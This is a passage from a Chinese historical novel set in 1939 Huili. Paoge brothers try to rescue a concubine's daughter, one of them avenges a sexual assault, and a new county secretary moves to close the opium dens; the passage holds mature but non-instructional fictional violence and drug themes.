“烟馆外面,有穷烟鬼,吃不起大烟,买洗碗水喝呢!”
“听说烟馆里的抹布帕子都能卖钱,装生烟的碗,都能被磨成细面吃了!”
“我还听说,一些老烟鬼死了,尸体会被有烟瘾的人挖出来,把骨头剔出来磨成面子吃,那骨头最上品的是红色,证明抽了多年大烟,有人甚至高价买来磨粉配滇红茶喝……”
周立行听得瞪大眼,两兄弟都感受到自己见识短浅,并震惊于这些烟鬼们的惊世骇俗之举。
“外面夷族地区,有一户富有的人家,因吸毒上瘾,卖田卖地,卖妻卖儿,耗尽了所有家财。最后抽完一口鸦片之后,他说:烟斗鸡蛋一样大,烟嘴针眼一样小,但是我的牛羊进去了,我的田地进去了,老婆娃儿进去了!说完,便上吊了。”
阿涅说的绘声绘色,最后还做了个吊死的动作,然后摇着头,“这毒品,真害人!”
周立行身后拍了拍阿涅的肩膀,“千万不要碰这个东西。”
阿涅点着头,龇牙咧嘴满脸嫌弃,“我知道,我看那些烟馆里出来的人,皮包骨,肉垮完,毛长嘴又尖,半边身子跟埋进土了一样,根本没有精气神。我一个能打十个他们那样的病秧子。”
周立行被阿涅逗笑了,忍不住伸手去捏他的腮帮子,“是是是,你可厉害了。国术和枪法都练起来,不要松懈。”
阿涅做了个鬼脸,跑出去找石娃子一起练棍法去了。
*
接下来的日子,梁承禄也没闲着,他用自己本地人的关系,很快便打听到了张家里老七的那些子女的情况。
如紫苏所说,张家是个很传统老派的家庭,对明媒正娶的正妻很是尊敬,正妻生的孩子们都送出去读书,个个都有出息。
那些四处弄来或买来的小老婆们
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,在家中跟下人没区别,所生的孩子们也不受重视,年岁小点的小娃子,全部丢给让没出去的小老婆带。超过四岁的,就开始在家中干活。
女孩子若是有特别好看且聪明伶俐能说会道的,会认到正妻名下,教养得当之后用作联姻。
男孩子从小便当做打手,长大点就跟着进夷区,若是遇到什么冲突意外,这些男孩子便会顶个张家少爷的名分,是死是活就看命运,换来的赔偿或者机遇自然是留给主家的。
“……叫小杜鹃的女孩还活着,在张家干洗衣洗菜洗碗的杂活。叫小平安的男孩,去年生病没了。”
梁承禄贴心地为周立行解忧,“若是想要这个叫小杜鹃的女孩,我们分堂最好是不要直接参与这个事情。我有个办法,咱们找个夷人当中间人,向张家买这个小丫头,让他们以为把孩子送进了山,紫大姐就能带着孩子远走高飞了!。”
梁承禄有个从小一起长大的干兄弟,是城外夷汉混居地的倮倮族人,家族有近百号男人,占据了一个小山头,平时以收钱护送商队过山口,时机合适的时候也会劫掠一些没打招呼就想通过地盘的小商队,总之也算得上一小股势力了。
梁承禄的打算,是通过这个干兄弟去买人,张家有货是要从那个山头过的,去张家用钱买个人,大家都有交情,很容易办成。
这样操作,和分堂不沾一点边,也避免了日后若是出了问题,分堂要遭受张家的针对。
周立行觉得梁承禄这个做法也行,他肯定是要送走了紫苏母女,才能在分堂进行下一步的禁烟事宜。
然而!
谁也没想到这个干兄弟,竟被三刀凉给杀了!
*
算时日,三刀凉应该回来了,可不知为何三刀凉和一起出门办事的两个兄弟都没有音信。
梁承禄各种杂务多,这年头出门迟上十天半月的很正常,他没把这点延迟放在心里。
可周立行却感觉有些不对,他一向很信任自己的预感,便向梁承禄询问三刀凉归来的具体路线,想要出去接一接,或者说找一找。
梁承禄不以为意,甚至告诉周立行,“三刀凉这次带了两个兄弟,是和德兴堂的一起去运,咳,那什么回来。”
周立行眼神发亮,打量梁承禄。
梁承禄死猪不怕开水烫,“我们只是出了一些股金,主要是德兴堂负责。走的路线是熟路,从我干亲的地盘过,没问题的。”
“我这不是派人去请干兄弟来帮紫大姐买人嘛,说不定就一起来了呢。”
然而梁承禄话才说完,德兴堂那边已经派人来告知,他们的人已经全部回来了。
这下梁承禄惊觉不对劲了,赶紧把报信的人接到堂内。
那报信的人眼神犹疑,说话吞吞吐吐,“三刀凉和贵堂的兄弟们……跟梁堂主的干兄弟……起了一些矛盾……嗯……我们不好参合,就先回来了……”
“什么矛盾?”
梁承禄心中咯噔一声,“你遮遮掩掩的搞啥子,说啊!”
那人嘴巴张张合合了几次,才小声地说道,“酒里有春/药……三刀凉被……那什么了……第二天……打起来……我们,我们不知道后续,我们先回来了……”
梁承禄顿时两眼一黑!
什么先回来了?!根本就是丢下三刀凉和忠义分堂的两个兄弟,自己跑了!
梁承禄知道干兄弟有个得力手下是个淫鬼,最是垂涎三刀凉这种泼辣女子!
为此,他早就三番五次跟干兄弟告诫过,万万要约束好手下。
三刀凉那不是一般的泼辣,那根本就是山林里野生土长的母老虎,是能闹出大事的!
“你们什么时候回来的?”周立行见这人穿的衣服鞋子都颇为干净,怀疑他不是今日才回。
果然,那人又是一阵支支吾吾,最后更小声地回答,“前天……”
梁承禄啪地拍了桌子,“混账!这么大的事情,你们怎么今天才来说!”
那人快哭了,不知道该怎么解释。
周立行想起当初德兴堂和分堂的恩怨,冷哼一声,“滚回去。等找到三刀凉,我亲自上门找你们算账。”
那人和梁承禄一起打了个哆嗦,当年周立行一口气把两个堂口的人敲断手脚的记忆复苏,那人行了个礼后连滚带爬地跑了。
周立行不再废话,“备马,带枪,点十个人跟我走。梁承禄,你带路!”
58.会理
周立行等人迅速带好东西,一行人骑着马往城门处驶去,却在县城大门听到了枪声。
人群在尖叫,奔跑,周立行怕骑马撞着人,赶紧翻身下马,往城门外冲。
城门上的守城士兵已经鸣枪示警,城门外一个女子满脸是血,边往后开枪,边往城门这边冲,一边冲一边大喊:
“夷人要来抢城了!夷人要来抢城了!”
那女子身后不远,确实追着几个夷族打扮的男人,他们骑着马儿拿着枪,叽哩哇啦大声喊着什么。
然而,守城的士兵已经被骚乱惊到了,他们一边喊着关城门,一边开枪会击。
追来的夷人被打死了两个,那城门厚重,却也迅速关上,那女子在最后关头呲溜地滑进了城门里。
城外的夷人愤愤不平地退去,城内,周立行终于从混乱的人群中挤过来,跑到被守城士兵按到地上的女人旁边。
“三刀凉?”周立行认出了地上的人,他赶紧向守城士兵抱拳,“各位兄弟,这是我忠义堂口的女袍哥,前些时日出门做事,迟迟未归,我等正想出门去寻!我与林县秘相识,林县秘可作证!”
守城的士兵名义上属于县里的保安团,现在没有县长,县秘最大,听周立行这么一说,相互看了几眼,放开了三刀凉。
跟着追来的梁承禄跑得气喘吁吁,一到就赶紧例行公事,给几个士兵都塞了红包。
这些士兵才喜笑颜开,不再核实身份,让他们赶紧把人带走。
三刀凉能自己跑回来,梁承禄又是庆幸又是心惊,不知道事件进展的他非常心急,大家刚回堂口,梁承禄马上就追问到底发生了什么。
“三刀凉!你没惹祸吧!”梁承禄忐忑得很。
周立行则是利落地吩咐着,“谷娃子,去请大夫。阿涅,去拿药品。紫苏姐,你给凉姐处理下外伤。”
三刀凉一听梁承禄说话,怒火就冲上头顶,“惹祸?你那个狗日的干兄弟惹到老娘,就是惹了大祸!”
“我把他杀了!”
“啊?!”梁承禄五雷轰顶,整个人都不好了,一下子栽倒在了椅子上。
“……”周立行张了张嘴,没说出话来。
三刀凉根本不顾自己一身伤,跳起来指着梁承禄的脸开骂,表情狰狞声如洪钟:
“他该死!老娘喝了他们灌的酒,被他手下给占便宜!找他评理,他竟然喊老娘给他手下当婆娘!”
“咱们分堂的三位兄弟不服,他们竟然仗着人多势众殴打咱们!德兴堂的一群死耗子跑了!我被抓去关着!崖哥他们三个拼着命救了我跑,三个兄弟都被追得跌落山崖摔死了!”
“三条命!我三刀凉欠了他们三条命!都是你这个狗日的干兄弟的错!”
“我才亲自杀他们两个人,我还没杀够本呢!要不要你来当第三个啊!老娘出生入死的回来了,你还嫌我惹祸?你才是个祸包!”
在三刀凉暴跳如雷的咒骂声中,周立行听明白了来龙去脉。
分堂的三个兄弟救出了被强抢了的三刀凉,却在追击中坠崖而死。
三刀凉忍不下这口气,去山崖下面找到兄弟们的遗体草草掩埋,拿着兄弟们的手枪子弹,竟是就在那山寨周围潜伏了下来。
等到梁承禄这边派人去请他干兄弟帮忙的时候,三刀凉正埋伏在了寨门外。
在那头人带着人准备出寨子进会理去帮忙的时候,三刀凉在外面开了两枪,一枪打在凌辱过她的人的心口,一枪打在头人的额头,两人当场毙命。
山寨的人以为这是梁承禄故意派人做的局,当场把前去谈事的手下给杀了。
而三刀凉因提前准备充分兼跑得快,竟是逃过了追击,跑回了会理县城。
追出来的那一队夷人死了几个,剩下的折返逃走;三刀凉大难不死进了城,也是受了一身的伤,这么多天了,她甚至未曾洗过一次澡。
三刀凉除了冲梁承禄发泄怒火外,心态非常稳定。
从当初三刀捅死那个害死她姐姐的男人开始,她就知道自己不会因为杀人而惊慌或愧疚。
她兄弟死得,别人自然也死的。要想追来杀她的,被她借刀杀人也是活该。
她一心只想着,要带人去把三个兄弟的尸体挖回来重新下葬。
紫苏又拉又劝,好不容易才把三刀凉带去清洗身体、清理伤口。
周立行则是黑着脸坐在椅子上,眼神沉沉不知在想什么。
梁承禄心中又痛又悔,也不知道该怪谁。
三刀凉这趟差事是他安排的,也是因对他干亲的信任,才会在山寨那边着了道。
可三刀凉这处事方式也着实冲动……有天大的事,也应该回来跟他这个分堂代主事说一声啊!他肯定能妥帖处理的啊!
“完了……我这门干亲,只能断了……唉,造孽哦……堂口以后走货也只能绕路了……”梁承禄唉声叹气,觉得最近真的是处处不顺。
他这不仅断了一门干亲,更是损失了一条走货的路线!
要是三刀凉没杀他兄弟,他还能从中转圜;现在这样,不交出三刀凉给那边,那边是绝对不会善罢甘休的……有周立行在,分堂绝不可能交出三刀凉。
“他们伤害三刀凉在先,害死三名兄弟在后。”周立行口吻十分不屑,“他们寨子,跟咱们堂口,已经是冤家了。”
梁承禄没吭声,过了一会儿,他有些无力地问,“那,小杜鹃的事,就没办法了。”
*
紫苏想要救出孩子的事情,仿佛陷入了僵局。
三刀凉受的外伤很快被处理好,一些私密处的伤,全靠紫苏帮她。
紫苏温柔细心,将三刀凉照顾得很妥帖。三刀凉心粗气燥,却十分听紫苏的劝解,终于没把火再往梁承禄身上发。
堂口里倒也有几个脑袋不清醒的人,私下八卦三刀凉此番受辱,日后不好嫁人之类的话,梁承禄还没来得及说什么,周立行已经把人抓来吊在院坝里的石架子上,让谷娃子和石娃子拿竹板子去掌嘴。
谷娃子和石娃子当年是被邢五爷带人打过嘴巴子的,这番打起来,十分凶猛。
“大家嗨袍哥,混江湖,靠的是本事,不是啥子狗屁贞洁!哪个活着,哪个才是赢家!”
“我们的姊妹受了伤,我们的兄弟被害死,竟然还有人摆自己人的龙门阵,像锤子东西!”
“以后再听哪个说这件事,舌头割掉!”
然后,周立行亲自带人去了一趟德兴堂。
也许是当初那场交集,让德兴堂惧怕周立行所代表的总堂。
德兴堂立马把抛下三刀凉逃跑回来的几个袍哥兄弟逮出来打了一顿红棍,还准备了一大笔赔款。
周立行没有收赔款,但让德兴堂必须想办法把死去那几位袍哥的遗体从山寨那边带回来,供家人下葬。
以及,如果听到谁日后议论忠义堂的三刀凉,他周立行会把今日德兴堂知道此事的人,全部割掉舌头。
在周立行的威慑下,再也没人敢明面上提这件事情。
等三刀凉状态稳定下来,周立行将所有的情况都告诉了紫苏,他们暂时没有完全的把握去救小杜鹃。
若是暗地里去偷,成功则罢,不成功则容易被追回去。
若是要硬抢,就得做好玉石俱焚的准备。<
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p>若是要稳妥,就得再等,等出现合适的人和合适的时机。
“因为我被迫吸鸦片,小平安生下来就很多病,又瘦又小,月子里眼睛都睁不开,哭起来声音好小,跟只耗儿一样。我那个时候奶水少,小平安吃不饱,一夜夜饿的叫唤,我只能想方设法熬点米汤喂他……”
紫苏擦着眼泪,单手做了一个抱孩子般的姿势,面容哀戚。
“我还记得抱着他的样子……孩子没在妈身边,很多都长不大,我知道的……吃不饱,穿不暖,随便一点小病拖一拖,便去了……都怪我没本事……”
阿涅听懂了,他在旁边回应道,“嬢嬢,弟弟知道你回来找他,就会很开心了。我也是小孩子,我知道,我们不会怪阿妈的!”
紫苏一把将阿涅搂紧怀里,放声大哭,“我的儿啊……妈回来了,妈一定把你的骨头找回来,给你找个好风水的地方重新下葬,给你烧多多的金银纸钱,你拿去找地府阴差,下辈子别找我这种没用的娘了,你去投个好胎吧……”
受伤的三刀凉默不吭声地坐在一旁的椅子上抹泪,她不后悔杀了那山寨头人,可她也为紫苏没法马上救出孩子而难受。
张家人不蠢,他们分堂的人若是亲自出面,必然要引来怀疑。
若是被他们知道紫苏在这里,不仅救不出小杜鹃,更有可能是紫苏都得被他们给抢回去。
毕竟张家的人和枪,都比分堂多,张家大宅子的守卫堪比部队卫所,看得出来他们真的是非常怕死。
周立行也想过要不要半夜三更去救人,然而人家才是这里的地头蛇,他们救人容易送人难,出会理县城之后指不定就真的沟死沟埋了。
虽然没有去救人,但周立行还是亲自跑了一趟张宅,亲眼去看了小杜鹃一眼,然后把紫苏偷藏的那些金银挖了取回,全部交给了紫苏。
紫苏能从上海千里迢迢回到成都,其性格之坚韧,思维之敏捷,甚至气运之强,都可见一斑。
此刻救人之路受阻,她非但没有灰心丧气,反而激发了斗志。
她一边感激周立行,恳求周立行陪她在会理多待几个月,她想看看事情能否有转机。
另一边她亲自拜谢不准备再出力的梁承禄,温言软语地编造了一通黑老鸹对自己有过承诺,说方大爷日后抗战归来,也会想办法帮她,所以即便暂时带不走孩子也无所谓,她可以等待。
梁承禄见状,只好说分堂一定会持续关注着小杜鹃。
接下来的时间,紫苏还安抚了三刀凉。
她认同三刀凉报仇雪恨的做法,并赞叹三刀凉是如花木兰、穆桂英、秦良玉一般的女英雄。
三刀凉不知道花、穆、秦是什么人,紫苏便用几天的时间,仔细地为她讲了这些典故。周立行偶尔有空过来听,顺便把当年黑老鸹讲的那些辛亥女杰的故事也拿出来分享。
这些故事听得三刀凉心潮澎湃,也不知道紫苏是怎么跟三刀凉交心的,总之到最后,三刀凉拉着紫苏去堂口关二爷前面做了结拜,两人喝了血酒义结金兰当了姐妹。
这下,三刀凉顿觉自己责任在肩,小杜鹃便是她的干女儿了,必须要想办法速速救出。
她自己身上的伤都还没有好全乎呢,就已经开始天天给紫苏出主意了。
梁承禄旁观整个事件,深觉紫苏这个女人心思细腻不好惹,便收了轻视心态。反正他是不打算去蹚浑水,三刀凉愿意蹦出来接这个麻烦事,他是没有意见的。
俗话说,救人就到底,送佛送到西。周立行安安稳稳地住了下来,在会理过了一个新年。
也许冥冥之中命运自有安排,在年后,事情出现了转机。
59.会理
*
1939年1月1日,民国成立了西康省,24军的军长刘文辉任省主席,省会设在康定。
1939年春,履历中曾在成都新津县担任过县长的林人梅,从24军中调任此地的县长秘书。
按理说,曾经在新津担任过县长,又是毕业于云南熊克武讲武堂的同盟会会员,还在24军一直任职的林人梅,应该就任县长。
然而,会理县的新县长胡一雁,却是一个从四川那边调任来的人,
一个从成都出发,一个从康定出发。林人梅已经到了会理,还不知道胡一雁走在哪条道上。
毕竟一个县只有一个县长和一个县长秘书,县长秘书承县长办理机要事务,总核公文,承办职员进退及掌管不属于各科的一切事项。
县长因公外出时,秘书可以代行其职务。此外,县长秘书还负责掌管印信、承办职员进退、总核文件等事务。
再说的直白一点,县长若是不够强势,县长秘书倒过来还能把县长给架空。
林人梅既是军武出身,自然也有一些自己的手下班底,即便是去会理当县长秘书,也是在老上司的地盘,他自然是对当地情况比较了解。
虽然因为一些原因,他四十多岁了还要来此地当个县长秘书,但他此次是特任,比起那些简任、荐任、委任的秘书,也算是等级最高的了。
林人梅并不忧愁自己在不惑之年还要远到夷汉交界区任职,他此次未携家带口,而是孤身一人带着心腹手下们前来,也是做好了常年在此为上司尽忠的准备。
林人梅到了会理县,见县长迟迟未来上任,于是他不管三七二十一,拿着省政府宣布六年禁烟计划提前两年完成的文件,首先便是去关城中的大烟馆。
南街的一烟馆悬挂着一个大招牌,上写“闻香上马”,下面附一副对联:“一盏孤灯照尽天下许多豪杰,半枝竹杖打倒世间无数英雄”。
西装革履,风流倜傥的林人梅带着警局一干人等走到烟馆前,那烟馆的老板还以为县长秘书要来尝香呢,点头哈腰地冲出来,一通恭维。
林人梅看着那对联,“半枝竹杖打倒世间无数英雄……老板,这对联写的入木三分呐。”
老板感觉对方口气不对,只得小心赔笑,“这烟土,虽有祛病消灾的妙用,用多了却不利于强身健体,世间万物都是过犹不及,长生不老丹也不能多吃……”
“这副对联我要了,取回去放禁烟队吧。”林人梅向后挥手,那些你看我我看你的警察们个个神色尴尬,却不得不故作严肃地点头。
“从今日起,会理县城内,禁大烟馆,禁烟土买卖……”
警察局副局长一边高声宣布,一边心中骂娘,狗日的局长知道这事得罪人,竟然装病不来,让他出来背这个黑锅。
烟馆老板眼珠子咕噜一转,心想烟帮多半是等着县长上任,便怠慢了这位新来的县长秘书,这是要杀鸡给猴看呢!
于是他这只鸡立马配合,“关!马上关!烟馆不好,烟馆坏!我们马上关门!”
警察们见烟馆老板如此上道,都大松一口气。
要知道这些烟馆,背后的烟帮不是军队就是袍哥,总之利益纠葛很深,平日里烟馆对政府各口都多有孝敬,大家不看僧面看佛面,实在是不愿意把脸面撕得太难看。
林人梅带来的手下就不客气了,上前直接取了那副木雕的对联,再给烟馆大门贴了封条。
这边林人梅刚封了一个烟馆,县城各处的烟馆很快都得了消息,一个二个的全都关上大门,对外表示不再营业。
当天下午,无数礼物流水一般地送进了县政府,所有人都以为,县长秘书这是新官上任三把火,要烧一烧这些没眼色的呢。
*
周立行那日在街上围观了林县秘关烟馆,这才发现,竟是熟人!
这县秘林人梅,是当初来会理帮邢五爷敲打德兴堂的人,也是他和冯争鸣开生死场的时候代表24军出面的人!
没想到当日的林参谋,现在成了林县秘。
周立行回茶馆里,梁承禄已经打探来了一些林人梅的后台消息,正想跟周立行分享呢。
“没想到竟然是林参谋来当县秘,哎,这要是当县长该多好啊!咱们分堂和他还真是有缘呢!”
“我们是不是也得去送点礼啊?”梁承禄出于礼节礼貌,还是跟总堂来的周立行商议一下,实则巴不得马上就把礼物抬进林县秘的住所里。
周立行吃着会理特产的大石榴,连籽儿都不吐地咽,附和道,“当然要送。”
“送些什么好呢……他现在大张旗鼓的要禁烟,咱们肯定不能送烟土。可人家既是在24军当过军官,又曾经干过县长,什么好东西没见过,咱们到底送点啥好呢?”
梁承禄又是一副难以抉择的样子。
这下周立行琢磨出点味了,梁承禄能在这么复杂的地方当上代管事,不可能连送个礼都不会。
看来,梁承禄是摸不准林人梅的习性,尤其是林人梅一来就先去关眼馆,他这是想要让周立行去趟路呢。
比如,送不送?你说的;送什么?你来定;谁去送,那当然最好你去咯。
要是去了关系没拉好?哎,你是总堂来的人,你自己背锅回去交差。
若是你去把这条路趟好了,等你走了,还不是我在这打交道。
三刀凉脑筋直,在一旁瞪大眼,叽叽咕咕地抱怨:
“天下乌鸦一般黑,他肯定和以前的官一样,拿着鸡毛当令箭呢!说什么禁烟,不过是明面上不让大家干这个事情,私下送了钱的哪个没在干,现在兵荒马乱的,除了枪支弹药,就是烟土和西药最值钱了!”
“上面喊禁烟喊了那么多年,咱种烟的地方却越来越多,真不知道是咋个回事。我晓得,山里好些人都把抽大烟当富贵享受呢,有钱人家的女儿要是不会抽大烟,甚至会被人说他们家大烟斗抽不起,肯定不够富贵……为了能让女儿好嫁人,还得专门去学抽……”
“我不信这大烟能禁,肯定跟以前一样,明着禁,实际上翻倍的种……”
这段时间紫苏和三刀凉形影不离,她不轻易说话,此刻却开了口:
“不如,还是送烟土。若是他收了,那他便是假禁烟;若是他不收,便说我们支持他禁烟,这是捐出来让他当众销毁的;至于他销毁不销毁,我们只要把东西送出去了,便搭上关系了。”
三刀凉恍然大悟,握着紫苏的手,“我的姐,你可真聪明!”
周立行却摇头,“试探来试探去有什么意思,你们都说他是军武出生,又说他是个文人雅士,还说他接受西式教育,一个学贯中西、能文能武的前任县长,这点小小的试探,定是会直接看穿的。”
“梁堂主,我想直接上门拜访,你可要与我同去?”周立行不跟梁承禄绕弯子,他直接发出邀请。
梁承禄想了想,摇头道,“此刻县长还没来,我若是提前去拜会了县长秘书,日后若是他们两个不和,我便抱不上县长大腿了,这对堂口发展不利。”
见梁承禄说得冠冕堂皇,周立行正好乐得自行前往。
择日不如撞日,当夜天黑,周立行便悄悄摸了出去。他决定,要找这个林人梅私下密谈。
*
夜间星子漫天,春寒料峭,凉山的雪风吹到会理城中,冻得人骨髓都在发冷。
周立行故意悄无声息地翻墙而入,没有惊动院子里的任何人。
然而堂屋里灯火通明,林人梅压根没睡,这露寒烟冷的深夜,他竟然还在跟五个忠心下属开会!
周立行不得已,只好猫在外面的角落里,听听他们究竟在讲什么。
林人梅带着几个忠心下属住进了前好几任秘书置办的大宅子里,那个可怜的秘书被暗杀了,家人千里迢迢也不敢来这边收什么资产,这宅子便充了公,专门给后面来的秘书用。
毕竟是新设的西康省,林人梅上任当县长秘书,原本政府里还有个秘书室,里面还有几个秘书助理。
他一来,只留了日常最受排挤的一个,其他人通通挪了位置,直接把自己人安排了进去。
除了秘书室,司法室、军法室、会计室、合作指导室以及民政科、财政科、建设科、教育科等,他通通都安上了自己人。
短短一个月,林人梅已经在会理扎下了自己的根系。
此刻虽然已是夜晚,林人梅却还未休息,他跟下属们还在堂屋里商议事情。
他们先是分析了会理县的现状,理了一遍烟帮、土匪、袍哥、士绅还有军阀之间的各种关系,再探讨了一下新县长到底为何迟迟不到,有没有可能半路遇到什么困难,是否要派人沿途去打探下,然后商议县城内禁烟到底能不能禁下来。
能跟着林人梅到这里来的人,自然都是当年战场上的生死之交,同时经历了上一个任地的风雨。
此时,他们都在劝林人梅。
“大哥,县城里咱们抹一抹面子功夫就行,这外面的烟,难禁啊……”
“下属们都懂你,你是真心为国为民的。可现在,敌寇步步紧逼,刘湘主席含恨而死,刘文辉主席本可以入主四川,最终也只能站稳着新成立的西康省……滇军自备武器军饷出去,财政吃紧没办法,都在私下贩大烟。咱们川军也是一样的,云南那边烟土禁不了,四川,啊不,西康,咱们西康也不可能禁得完……”
“这里地势高,气候寒冷,土地贫瘠,交通不便,我这个月走完了县城外的夷汉混居地,这边的生产工具很简陋,铁制农具很少,主要使用木制农具,生产条件太差,主要种植养麦、洋芋、燕麦、玉米等旱地作物,产量低,民众约有三分之一的时间缺粮,靠摘树叶挖野菜充饥。”
“我听了一句夷人谚语,阿衣以各莫,果布裸古莫。意思是:布谷鸟在外叫,娃娃在家叫,这边很多人一到春播就断粮。罂粟确实不好,可种罂粟换的钱从外地买的粮,能让好多人不至于饿死。”
“大哥,缓缓图之吧,刘军长守西康,咱们这些老部下肯定是跟着守西康的,也不知道还能不能回四川去。咱们呢,县城里明面上把烟馆给禁了,对军长能交代,对那国民政府也有交代。至于山里那些烟土买卖,咱们等县长来看他咋想,可好?”
林人梅听完五个下属兄弟的意见,只
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是笑了笑,哪怕是最忠心最亲近的下属们讲了不符合他心意的话,他也不会因此表现出失望或难过。
“你们的建议,我会好好考虑。”林人梅挥挥手,示意大家散了。
这几个下属都住在宅子里,大家起身散去。
林人梅独自坐在椅子上,眼神随着灯光晃动显得晦暗不明,他轻轻吐出一口气,右手摸上左手的手表,兀自出神。
“这大烟确实难禁。”周立行推开门走进去,大大咧咧地坐到林人梅旁边,自顾自地倒了一杯茶,喝了一口,摇头,“茶都冷了,你这宅子,竟然没个丫头婆子。”
林人梅一眼便认出了周立行,当初那个敢一个人喊了大半个成都城跑去单挑光耀堂打生死场的小八爷。
“小八爷功夫真好,这是听了多久墙角?”
周立行跺了跺脚,故做了个苦瓜脸,“一个时辰吧,脚都给我蹲麻了,这么冷的天,这么深的夜,你们精神真足。”
林人梅被周立行这副埋怨模样逗笑了,既是熟人,他自然晓得对方毫无恶意,但他猜不出对方深夜前来,是想说什么。
“深夜前来,有何贵干?”林人梅的口吻温和了许多,“我给小八爷沏一壶热茶吧。”
周立行哎了一身,促狭地报家门,“等会儿,我还从来没向你正式介绍过自己呢。鄙人姓周,名行善,字立行,成都忠义堂的袍哥,八排代管。忠义堂在贵地有个分堂,以前做些茶叶、药材等物的生意,之前的分堂主齐高杰意外身亡,现在的代堂主梁承禄做起了烟土生意。”
林人梅点头,“齐高杰,我有印象,前些年我来这里处理过你们分堂和德兴堂的矛盾。”
他没有接烟土相关的话。
周立行笑了笑,“大哥出川,留我当个纪纲。可惜我不懂事,也没什么本事,去滇西跟着修滇缅公路,回堂口发现他们差点走偏路,才闹了那么一场,让堂口退股烟馆,当日让你见笑了。”
林人梅不动声色,他微笑着回问,“所以,那你今日来,是想说什么?”
他从军队到地方,见过无数种明争暗斗,听过无数的虚以委蛇,也见过许多把理想当得比生命还重要的人。
周立行当初的表现,很是狠绝;但在会理,他不能用太莽撞的人。
“这会理的鸦片,你能禁得完吗?”周立行没回答,反而是提问。
林人梅沏好茶,给周立行倒了一杯,他轻轻地摇头,“小八爷,我无法给你一个确切的答复。”
“川滇一带,罂粟遍山,非一朝一夕种成,也不可能立说立行禁止。”
“无数人因种此维生,明里暗里多种势力盘根错节以此谋利。如今时局不稳,又是在这夷汉混居的西康,禁烟土,谈何容易。”
周立行端着热茶,轻轻喝了一口,听得疑惑,“那你为何不跟心腹属下们说清楚?”
说完,周立行颇感讽刺,“他们如此苦口婆心劝你,我还以为你很坚定呢。”
林人梅忍俊不禁,笑了起来。他年轻时可是一等一的美男子,人如其名,寒梅傲雪冷入骨,粲然一笑见春风。
“五弟莫急,且听我讲完。”林人梅喝了一口茶,感受着口腔里甘苦的茶味,笑着说了下去。
“都是三十而立,四十不惑,五十知天命。我已过不惑,正感天命。这世间正道难行,若是看不到危险在哪,看不懂难处在哪,一意孤行,是成不了功的。”
“上面也知道烟土须禁,可此时战乱连连,朝不保夕,他们只能发出法令,至于下面能不能落实,他们管不了。而我们,都知道烟土难禁,所以有的人会做做样子应付了事,但并不是所有人都如此。”
“我是县长秘书,不是县长。我要禁烟,也只能徐徐图之。小兄弟,我会怎么做,能做到什么程度,是不可能给你个准信的。”
“也许此时的我信誓旦旦禁烟,以后的我变节堕落,与其他人同流合污;也许我此时只是在说大话欺骗你,也许日后我也会为执行上级命令不顾生死。”
林人梅笑得狡黠,他逗弄着周立行,“都是说不准的。”
周立行被林人梅这个官场老狐狸一通绕,脑袋有些发晕。说不过,说不通,他选择干脆不说。
“叽叽呱呱讲这么多,无非就是不信任我,不说实话。”
周立行没好气地回应,“我不跟你废话,今晚我轻轻松松就摸进来,也不知道你带的这些护卫是干什么吃的,你若是真的想禁烟,以后小心些,出征未捷身先死,家中妻儿泪满襟!”
“并不是我的护卫太无能,小八爷,有没有想过是你太厉害?”
林人梅对自己从军队里带出来的护卫还是有信心的,不过自古江湖出异人,军队训练的是团队作战,哪有某些江湖袍哥专职接血酬的懂暗杀啊。
周立行不知道林人梅已经误会他的职业,他今夜来,可不是陪林人梅绕弯子的,他不管林人梅的夸赞,强行再续话题。
“林大哥,我此番前来,还有一件私事相求。若是林大哥愿意,我愿替林大哥办同等的一件事。”
这个话题比禁烟安全多了,林人梅来了兴趣,“你讲讲。”
60.会理
“我家阿姐流落江湖,被卖给张家老七当小老婆。现在张家老七因战乱失踪了,张家又是个不能善待庶出子女的。我这个当舅舅的,要替阿姐迎回她的一双儿女,现下打探,侄儿已经病死,只剩个侄女的。因分堂和张家关系不好,我们不方便出面,之前有点办法因意外不能用。”
周立行自顾自地认了阿姐当了舅舅,半点都不含糊,“我想请林大哥出面,去张家买几个丫头。我可以出钱。”
林人梅来此处一个多月,自然是把周边士绅都打探清楚了的。
张家是当地的烟土大家,今个白日也是送了许多礼物来的。
这些礼物,林人梅全部笑纳,不要白不要,他可不是什么要清白名声的迂腐之人,天下乌鸦一般黑的时候,最白那个出头鸟是要被打的。
他收了所有的礼,准备拿去养学校养公立医所。
“我向张家要小丫头,那名声可就坏咯,传回去让我那如花似玉的夫人知道,可是要跟我闹离婚的。”林人梅摇着头。
周立行不懂,“招几个仆人而已,怎么坏名声了?”
“点名向一个士绅家中要人,谁信我是招仆人,若是你要找的女孩子年岁小,我更是要担一个好幼女的污名。”
周立行瞪大烟,指着林人梅,手指头点了好几下,都不知道该说什么!
但他也明白,林人梅讲的有道理,是他想的太简单了。
“我答应你,给你帮这个忙。”林人梅不逗周立行了,“你们莫急,等我找个合适的时机。”
周立行大喜过望,“谢林大哥!你有什么需要我做的,除了杀人和贩烟土,其他的随时安排!”
林人梅笑了,“这么恨烟土?”
周立行咧嘴露出尖牙,“对,恨得很。”
“若是让你杀穷凶极恶的匪徒呢?”
“这是接血酬了,要看前因后果,来龙去脉,道义情理,总要占一个,否则我也不接。林大哥,我当过和尚,不乱杀生。”
“那你当初还开生死场?不怕打死的是无辜之人?”林人梅反问。
周立行却十分坦荡,“没有金刚怒目,哪来菩萨慈悲。开生死场可以救更多人,非要上来打的,便是应了命中劫数。来人不遇我开生死场,也会因其他事情应劫,我心中有理,行事无愧,有什么怕的。”
很好,这人很有原则且逻辑自洽,灵活的佛理和坚定的道心并存,可交。
林人梅点了头,“那一起给关二爷上柱香吧,袍哥人家,说话算数。”
周立行点头,心想难道你们家里还供奉关二爷?
林人梅新到此处,家中只挂了孙中山的画像,没有供奉任何神像。
但他一手丹青出神入化,竟然是推墨铺纸,现场画了一幅关圣图!
周立行大为震撼,对着现场画出来的关圣图点香拜了,走的时候一步三回头,最后还是厚着脸皮问林人梅要了这副画。
为此,他甚至主动付钱。
林人梅彻底被这个半大小子逗乐,没收钱,赠了画。
周立行回去没多久,就听说县上要开个培训班,统一培训一批戒烟的护理人员,招收14岁以上的女性和16岁以上的男性,请各大家族都派一男一女的子女前来。
这个差事听得众人一惊一乍,大家都捉摸不定这个县长秘书到底壶里卖的什么药。说他要禁烟呢,只在会理县城关烟馆;发布告让下面的团乡张贴不准再新种烟苗,却也没见派人去检查;说他做面子工作吧,他竟然要开戒烟所,还要培训戒烟护理人员。
